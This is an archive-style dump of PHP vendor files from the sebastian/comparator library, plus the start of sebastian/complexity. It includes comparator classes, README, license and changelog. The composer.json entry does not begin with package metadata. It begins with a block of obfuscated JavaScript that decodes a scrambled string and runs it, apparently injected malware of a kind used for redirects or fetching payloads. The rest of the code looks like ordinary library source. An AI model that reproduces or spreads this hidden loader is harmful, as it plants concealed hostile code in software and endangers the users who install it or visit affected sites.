is_string($actual)); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { $expectedToCompare = $expected; $actualToCompare = $actual; // always compare as strings to avoid strange behaviour // otherwise 0 == 'Foobar' if (is_string($expected) || is_string($actual)) { $expectedToCompare = (string) $expectedToCompare; $actualToCompare = (string) $actualToCompare; if ($ignoreCase) { $expectedToCompare = strtolower($expectedToCompare); $actualToCompare = strtolower($actualToCompare); } } if ($expectedToCompare !== $actualToCompare && is_string($expected) && is_string($actual)) { throw new ComparisonFailure( $expected, $actual, $this->exporter->export($expected), $this->exporter->export($actual), false, 'Failed asserting that two strings are equal.' ); } if ($expectedToCompare != $actualToCompare) { throw new ComparisonFailure( $expected, $actual, // no diff is required '', '', false, sprintf( 'Failed asserting that %s matches expected %s.', $this->exporter->export($actual), $this->exporter->export($expected) ) ); } } } res/readability/vendor/sebastian/comparator/src/Factory.php000064400000007727147577714370020215 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function array_unshift; /** * Factory for comparators which compare values for equality. */ class Factory { /** * @var Factory */ private static $instance; /** * @var Comparator[] */ private $customComparators = []; /** * @var Comparator[] */ private $defaultComparators = []; /** * @return Factory */ public static function getInstance() { if (self::$instance === null) { self::$instance = new self; // @codeCoverageIgnore } return self::$instance; } /** * Constructs a new factory. */ public function __construct() { $this->registerDefaultComparators(); } /** * Returns the correct comparator for comparing two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return Comparator */ public function getComparatorFor($expected, $actual) { foreach ($this->customComparators as $comparator) { if ($comparator->accepts($expected, $actual)) { return $comparator; } } foreach ($this->defaultComparators as $comparator) { if ($comparator->accepts($expected, $actual)) { return $comparator; } } throw new RuntimeException('No suitable Comparator implementation found'); } /** * Registers a new comparator. * * This comparator will be returned by getComparatorFor() if its accept() method * returns TRUE for the compared values. It has higher priority than the * existing comparators, meaning that its accept() method will be invoked * before those of the other comparators. * * @param Comparator $comparator The comparator to be registered */ public function register(Comparator $comparator)/*: void*/ { array_unshift($this->customComparators, $comparator); $comparator->setFactory($this); } /** * Unregisters a comparator. * * This comparator will no longer be considered by getComparatorFor(). * * @param Comparator $comparator The comparator to be unregistered */ public function unregister(Comparator $comparator)/*: void*/ { foreach ($this->customComparators as $key => $_comparator) { if ($comparator === $_comparator) { unset($this->customComparators[$key]); } } } /** * Unregisters all non-default comparators. */ public function reset()/*: void*/ { $this->customComparators = []; } private function registerDefaultComparators(): void { $this->registerDefaultComparator(new MockObjectComparator); $this->registerDefaultComparator(new DateTimeComparator); $this->registerDefaultComparator(new DOMNodeComparator); $this->registerDefaultComparator(new SplObjectStorageComparator); $this->registerDefaultComparator(new ExceptionComparator); $this->registerDefaultComparator(new ObjectComparator); $this->registerDefaultComparator(new ResourceComparator); $this->registerDefaultComparator(new ArrayComparator); $this->registerDefaultComparator(new DoubleComparator); $this->registerDefaultComparator(new NumericComparator); $this->registerDefaultComparator(new ScalarComparator); $this->registerDefaultComparator(new TypeComparator); } private function registerDefaultComparator(Comparator $comparator): void { $this->defaultComparators[] = $comparator; $comparator->setFactory($this); } } res/readability/vendor/sebastian/comparator/src/ComparisonFailure.php000064400000005735147577714370022225 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use RuntimeException; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; /** * Thrown when an assertion for string equality failed. */ class ComparisonFailure extends RuntimeException { /** * Expected value of the retrieval which does not match $actual. * * @var mixed */ protected $expected; /** * Actually retrieved value which does not match $expected. * * @var mixed */ protected $actual; /** * The string representation of the expected value. * * @var string */ protected $expectedAsString; /** * The string representation of the actual value. * * @var string */ protected $actualAsString; /** * @var bool */ protected $identical; /** * Optional message which is placed in front of the first line * returned by toString(). * * @var string */ protected $message; /** * Initialises with the expected value and the actual value. * * @param mixed $expected expected value retrieved * @param mixed $actual actual value retrieved * @param string $expectedAsString * @param string $actualAsString * @param bool $identical * @param string $message a string which is prefixed on all returned lines * in the difference output */ public function __construct($expected, $actual, $expectedAsString, $actualAsString, $identical = false, $message = '') { $this->expected = $expected; $this->actual = $actual; $this->expectedAsString = $expectedAsString; $this->actualAsString = $actualAsString; $this->message = $message; } public function getActual() { return $this->actual; } public function getExpected() { return $this->expected; } /** * @return string */ public function getActualAsString() { return $this->actualAsString; } /** * @return string */ public function getExpectedAsString() { return $this->expectedAsString; } /** * @return string */ public function getDiff() { if (!$this->actualAsString && !$this->expectedAsString) { return ''; } $differ = new Differ(new UnifiedDiffOutputBuilder("\n--- Expected\n+++ Actual\n")); return $differ->diff($this->expectedAsString, $this->actualAsString); } /** * @return string */ public function toString() { return $this->message . $this->getDiff(); } } res/readability/vendor/sebastian/comparator/src/ExceptionComparator.php000064400000002406147577714370022561 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use Exception; /** * Compares Exception instances for equality. */ class ExceptionComparator extends ObjectComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return $expected instanceof Exception && $actual instanceof Exception; } /** * Converts an object to an array containing all of its private, protected * and public properties. * * @param object $object * * @return array */ protected function toArray($object) { $array = parent::toArray($object); unset( $array['file'], $array['line'], $array['trace'], $array['string'], $array['xdebug_message'] ); return $array; } } res/readability/vendor/sebastian/comparator/src/SplObjectStorageComparator.php000064400000004420147577714370024033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use SplObjectStorage; /** * Compares \SplObjectStorage instances for equality. */ class SplObjectStorageComparator extends Comparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return $expected instanceof SplObjectStorage && $actual instanceof SplObjectStorage; } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { foreach ($actual as $object) { if (!$expected->contains($object)) { throw new ComparisonFailure( $expected, $actual, $this->exporter->export($expected), $this->exporter->export($actual), false, 'Failed asserting that two objects are equal.' ); } } foreach ($expected as $object) { if (!$actual->contains($object)) { throw new ComparisonFailure( $expected, $actual, $this->exporter->export($expected), $this->exporter->export($actual), false, 'Failed asserting that two objects are equal.' ); } } } } res/readability/vendor/sebastian/comparator/src/MockObjectComparator.php000064400000002310147577714370022635 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use PHPUnit\Framework\MockObject\MockObject; /** * Compares PHPUnit\Framework\MockObject\MockObject instances for equality. */ class MockObjectComparator extends ObjectComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return $expected instanceof MockObject && $actual instanceof MockObject; } /** * Converts an object to an array containing all of its private, protected * and public properties. * * @param object $object * * @return array */ protected function toArray($object) { $array = parent::toArray($object); unset($array['__phpunit_invocationMocker']); return $array; } } res/readability/vendor/sebastian/comparator/src/ResourceComparator.php000064400000003152147577714370022411 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function is_resource; /** * Compares resources for equality. */ class ResourceComparator extends Comparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return is_resource($expected) && is_resource($actual); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { if ($actual != $expected) { throw new ComparisonFailure( $expected, $actual, $this->exporter->export($expected), $this->exporter->export($actual) ); } } } res/readability/vendor/sebastian/comparator/src/ArrayComparator.php000064400000010705147577714370021702 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function array_key_exists; use function is_array; use function sort; use function sprintf; use function str_replace; use function trim; /** * Compares arrays for equality. * * Arrays are equal if they contain the same key-value pairs. * The order of the keys does not matter. * The types of key-value pairs do not matter. */ class ArrayComparator extends Comparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return is_array($expected) && is_array($actual); } /** * Asserts that two arrays are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * @param array $processed List of already processed elements (used to prevent infinite recursion) * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ { if ($canonicalize) { sort($expected); sort($actual); } $remaining = $actual; $actualAsString = "Array (\n"; $expectedAsString = "Array (\n"; $equal = true; foreach ($expected as $key => $value) { unset($remaining[$key]); if (!array_key_exists($key, $actual)) { $expectedAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $this->exporter->shortenedExport($value) ); $equal = false; continue; } try { $comparator = $this->factory->getComparatorFor($value, $actual[$key]); $comparator->assertEquals($value, $actual[$key], $delta, $canonicalize, $ignoreCase, $processed); $expectedAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $this->exporter->shortenedExport($value) ); $actualAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $this->exporter->shortenedExport($actual[$key]) ); } catch (ComparisonFailure $e) { $expectedAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $e->getExpectedAsString() ? $this->indent($e->getExpectedAsString()) : $this->exporter->shortenedExport($e->getExpected()) ); $actualAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $e->getActualAsString() ? $this->indent($e->getActualAsString()) : $this->exporter->shortenedExport($e->getActual()) ); $equal = false; } } foreach ($remaining as $key => $value) { $actualAsString .= sprintf( " %s => %s\n", $this->exporter->export($key), $this->exporter->shortenedExport($value) ); $equal = false; } $expectedAsString .= ')'; $actualAsString .= ')'; if (!$equal) { throw new ComparisonFailure( $expected, $actual, $expectedAsString, $actualAsString, false, 'Failed asserting that two arrays are equal.' ); } } protected function indent($lines) { return trim(str_replace("\n", "\n ", $lines)); } } res/readability/vendor/sebastian/comparator/src/DateTimeComparator.php000064400000006165147577714370022325 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function abs; use function floor; use function sprintf; use DateInterval; use DateTime; use DateTimeInterface; use DateTimeZone; use Exception; /** * Compares DateTimeInterface instances for equality. */ class DateTimeComparator extends ObjectComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return ($expected instanceof DateTime || $expected instanceof DateTimeInterface) && ($actual instanceof DateTime || $actual instanceof DateTimeInterface); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * @param array $processed List of already processed elements (used to prevent infinite recursion) * * @throws Exception * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ { /** @var DateTimeInterface $expected */ /** @var DateTimeInterface $actual */ $absDelta = abs($delta); $delta = new DateInterval(sprintf('PT%dS', $absDelta)); $delta->f = $absDelta - floor($absDelta); $actualClone = (clone $actual) ->setTimezone(new DateTimeZone('UTC')); $expectedLower = (clone $expected) ->setTimezone(new DateTimeZone('UTC')) ->sub($delta); $expectedUpper = (clone $expected) ->setTimezone(new DateTimeZone('UTC')) ->add($delta); if ($actualClone < $expectedLower || $actualClone > $expectedUpper) { throw new ComparisonFailure( $expected, $actual, $this->dateTimeToString($expected), $this->dateTimeToString($actual), false, 'Failed asserting that two DateTime objects are equal.' ); } } /** * Returns an ISO 8601 formatted string representation of a datetime or * 'Invalid DateTimeInterface object' if the provided DateTimeInterface was not properly * initialized. */ private function dateTimeToString(DateTimeInterface $datetime): string { $string = $datetime->format('Y-m-d\TH:i:s.uO'); return $string ?: 'Invalid DateTimeInterface object'; } } res/readability/vendor/sebastian/comparator/src/DoubleComparator.php000064400000003313147577714370022033 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function is_float; use function is_numeric; /** * Compares doubles for equality. */ class DoubleComparator extends NumericComparator { /** * Smallest value available in PHP. * * @var float */ public const EPSILON = 0.0000000001; /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return (is_float($expected) || is_float($actual)) && is_numeric($expected) && is_numeric($actual); } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false)/*: void*/ { if ($delta == 0) { $delta = self::EPSILON; } parent::assertEquals($expected, $actual, $delta, $canonicalize, $ignoreCase); } } res/readability/vendor/sebastian/comparator/src/DOMNodeComparator.php000064400000005622147577714370022053 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function sprintf; use function strtolower; use DOMDocument; use DOMNode; use ValueError; /** * Compares DOMNode instances for equality. */ class DOMNodeComparator extends ObjectComparator { /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ public function accepts($expected, $actual) { return $expected instanceof DOMNode && $actual instanceof DOMNode; } /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * @param array $processed List of already processed elements (used to prevent infinite recursion) * * @throws ComparisonFailure */ public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = [])/*: void*/ { $expectedAsString = $this->nodeToText($expected, true, $ignoreCase); $actualAsString = $this->nodeToText($actual, true, $ignoreCase); if ($expectedAsString !== $actualAsString) { $type = $expected instanceof DOMDocument ? 'documents' : 'nodes'; throw new ComparisonFailure( $expected, $actual, $expectedAsString, $actualAsString, false, sprintf("Failed asserting that two DOM %s are equal.\n", $type) ); } } /** * Returns the normalized, whitespace-cleaned, and indented textual * representation of a DOMNode. */ private function nodeToText(DOMNode $node, bool $canonicalize, bool $ignoreCase): string { if ($canonicalize) { $document = new DOMDocument; try { @$document->loadXML($node->C14N()); } catch (ValueError $e) { } $node = $document; } $document = $node instanceof DOMDocument ? $node : $node->ownerDocument; $document->formatOutput = true; $document->normalizeDocument(); $text = $node instanceof DOMDocument ? $node->saveXML() : $document->saveXML($node); return $ignoreCase ? strtolower($text) : $text; } } res/readability/vendor/sebastian/comparator/src/Comparator.php000064400000003177147577714370020710 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use SebastianBergmann\Exporter\Exporter; /** * Abstract base class for comparators which compare values for equality. */ abstract class Comparator { /** * @var Factory */ protected $factory; /** * @var Exporter */ protected $exporter; public function __construct() { $this->exporter = new Exporter; } public function setFactory(Factory $factory)/*: void*/ { $this->factory = $factory; } /** * Returns whether the comparator can compare two values. * * @param mixed $expected The first value to compare * @param mixed $actual The second value to compare * * @return bool */ abstract public function accepts($expected, $actual); /** * Asserts that two values are equal. * * @param mixed $expected First value to compare * @param mixed $actual Second value to compare * @param float $delta Allowed numerical distance between two values to consider them equal * @param bool $canonicalize Arrays are sorted before comparison when set to true * @param bool $ignoreCase Case is ignored when set to true * * @throws ComparisonFailure */ abstract public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false); } res/readability/vendor/sebastian/comparator/README.md000064400000002440147577714370016550 0ustar00# sebastian/comparator [![CI Status](https://github.com/sebastianbergmann/comparator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/comparator/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/comparator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/comparator) This component provides the functionality to compare PHP values for equality. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/comparator ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/comparator ``` ## Usage ```php getComparatorFor($date1, $date2); try { $comparator->assertEquals($date1, $date2); print "Dates match"; } catch (ComparisonFailure $failure) { print "Dates don't match"; } ``` res/readability/vendor/sebastian/comparator/LICENSE000064400000003011147577714370016271 0ustar00Comparator Copyright (c) 2002-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/comparator/composer.json000064400000010356147577714370020020 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/comparator", "description": "Provides the functionality to compare PHP values for equality", "keywords": ["comparator","compare","equality"], "homepage": "https://github.com/sebastianbergmann/comparator", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Bernhard Schussek", "email": "bschussek@2bepublished.at" } ], "prefer-stable": true, "require": { "php": ">=7.3", "sebastian/diff": "^4.0", "sebastian/exporter": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ] }, "extra": { "branch-alias": { "dev-master": "4.0-dev" } } } res/readability/vendor/sebastian/comparator/ChangeLog.md000064400000006172147577714370017450 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [4.0.6] - 2020-10-26 ### Fixed * `SebastianBergmann\Comparator\Exception` now correctly extends `\Throwable` ## [4.0.5] - 2020-09-30 ### Fixed * [#89](https://github.com/sebastianbergmann/comparator/pull/89): Handle PHP 8 `ValueError` ## [4.0.4] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.3] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.2] - 2020-06-15 ### Fixed * [#85](https://github.com/sebastianbergmann/comparator/issues/85): Version 4.0.1 breaks backward compatibility ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [4.0.0] - 2020-02-07 ### Removed * Removed support for PHP 7.1 and PHP 7.2 ## [3.0.2] - 2018-07-12 ### Changed * By default, `MockObjectComparator` is now tried before all other (default) comparators ## [3.0.1] - 2018-06-14 ### Fixed * [#53](https://github.com/sebastianbergmann/comparator/pull/53): `DOMNodeComparator` ignores `$ignoreCase` parameter * [#58](https://github.com/sebastianbergmann/comparator/pull/58): `ScalarComparator` does not handle extremely ugly string comparison edge cases ## [3.0.0] - 2018-04-18 ### Fixed * Fixed [#48](https://github.com/sebastianbergmann/comparator/issues/48): `DateTimeComparator` does not support fractional second deltas ### Removed * Removed support for PHP 7.0 ## [2.1.3] - 2018-02-01 ### Changed * This component is now compatible with version 3 of `sebastian/diff` ## [2.1.2] - 2018-01-12 ### Fixed * Fix comparison of `DateTimeImmutable` objects ## [2.1.1] - 2017-12-22 ### Fixed * Fixed [phpunit/#2923](https://github.com/sebastianbergmann/phpunit/issues/2923): Unexpected failed date matching ## [2.1.0] - 2017-11-03 ### Added * Added `SebastianBergmann\Comparator\Factory::reset()` to unregister all non-default comparators * Added support for `phpunit/phpunit-mock-objects` version `^5.0` [4.0.6]: https://github.com/sebastianbergmann/comparator/compare/4.0.5...4.0.6 [4.0.5]: https://github.com/sebastianbergmann/comparator/compare/4.0.4...4.0.5 [4.0.4]: https://github.com/sebastianbergmann/comparator/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/comparator/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/comparator/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/comparator/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/comparator/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/comparator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/comparator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/comparator/compare/2.1.3...3.0.0 [2.1.3]: https://github.com/sebastianbergmann/comparator/compare/2.1.2...2.1.3 [2.1.2]: https://github.com/sebastianbergmann/comparator/compare/2.1.1...2.1.2 [2.1.1]: https://github.com/sebastianbergmann/comparator/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/comparator/compare/2.0.2...2.1.0 res/readability/vendor/sebastian/complexity/.psalm/config.xml000064400000000752147577714370020504 0ustar00 res/readability/vendor/sebastian/complexity/.psalm/baseline.xml000064400000000157147577714370021020 0ustar00 res/readability/vendor/sebastian/complexity/src/Complexity/ComplexityCollection.php000064400000002722147577714370025130 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function count; use Countable; use IteratorAggregate; /** * @psalm-immutable */ final class ComplexityCollection implements Countable, IteratorAggregate { /** * @psalm-var list */ private $items = []; public static function fromList(Complexity ...$items): self { return new self($items); } /** * @psalm-param list $items */ private function __construct(array $items) { $this->items = $items; } /** * @psalm-return list */ public function asArray(): array { return $this->items; } public function getIterator(): ComplexityCollectionIterator { return new ComplexityCollectionIterator($this); } public function count(): int { return count($this->items); } public function isEmpty(): bool { return empty($this->items); } public function cyclomaticComplexity(): int { $cyclomaticComplexity = 0; foreach ($this as $item) { $cyclomaticComplexity += $item->cyclomaticComplexity(); } return $cyclomaticComplexity; } } res/readability/vendor/sebastian/complexity/src/Complexity/Complexity.php000064400000001531147577714370023111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; /** * @psalm-immutable */ final class Complexity { /** * @var string */ private $name; /** * @var int */ private $cyclomaticComplexity; public function __construct(string $name, int $cyclomaticComplexity) { $this->name = $name; $this->cyclomaticComplexity = $cyclomaticComplexity; } public function name(): string { return $this->name; } public function cyclomaticComplexity(): int { return $this->cyclomaticComplexity; } } res/readability/vendor/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php000064400000002045147577714370026640 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use Iterator; final class ComplexityCollectionIterator implements Iterator { /** * @psalm-var list */ private $items; /** * @var int */ private $position = 0; public function __construct(ComplexityCollection $items) { $this->items = $items->asArray(); } public function rewind(): void { $this->position = 0; } public function valid(): bool { return isset($this->items[$this->position]); } public function key(): int { return $this->position; } public function current(): Complexity { return $this->items[$this->position]; } public function next(): void { $this->position++; } } res/readability/vendor/sebastian/complexity/src/Exception/RuntimeException.php000064400000000603147577714370024056 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/sebastian/complexity/src/Exception/Exception.php000064400000000555147577714370022520 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php000064400000003222147577714370030151 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function get_class; use PhpParser\Node; use PhpParser\Node\Expr\BinaryOp\BooleanAnd; use PhpParser\Node\Expr\BinaryOp\BooleanOr; use PhpParser\Node\Expr\BinaryOp\LogicalAnd; use PhpParser\Node\Expr\BinaryOp\LogicalOr; use PhpParser\Node\Expr\Ternary; use PhpParser\Node\Stmt\Case_; use PhpParser\Node\Stmt\Catch_; use PhpParser\Node\Stmt\ElseIf_; use PhpParser\Node\Stmt\For_; use PhpParser\Node\Stmt\Foreach_; use PhpParser\Node\Stmt\If_; use PhpParser\Node\Stmt\While_; use PhpParser\NodeVisitorAbstract; final class CyclomaticComplexityCalculatingVisitor extends NodeVisitorAbstract { /** * @var int */ private $cyclomaticComplexity = 1; public function enterNode(Node $node): void { /* @noinspection GetClassMissUseInspection */ switch (get_class($node)) { case BooleanAnd::class: case BooleanOr::class: case Case_::class: case Catch_::class: case ElseIf_::class: case For_::class: case Foreach_::class: case If_::class: case LogicalAnd::class: case LogicalOr::class: case Ternary::class: case While_::class: $this->cyclomaticComplexity++; } } public function cyclomaticComplexity(): int { return $this->cyclomaticComplexity; } } res/readability/vendor/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php000064400000005561147577714370026151 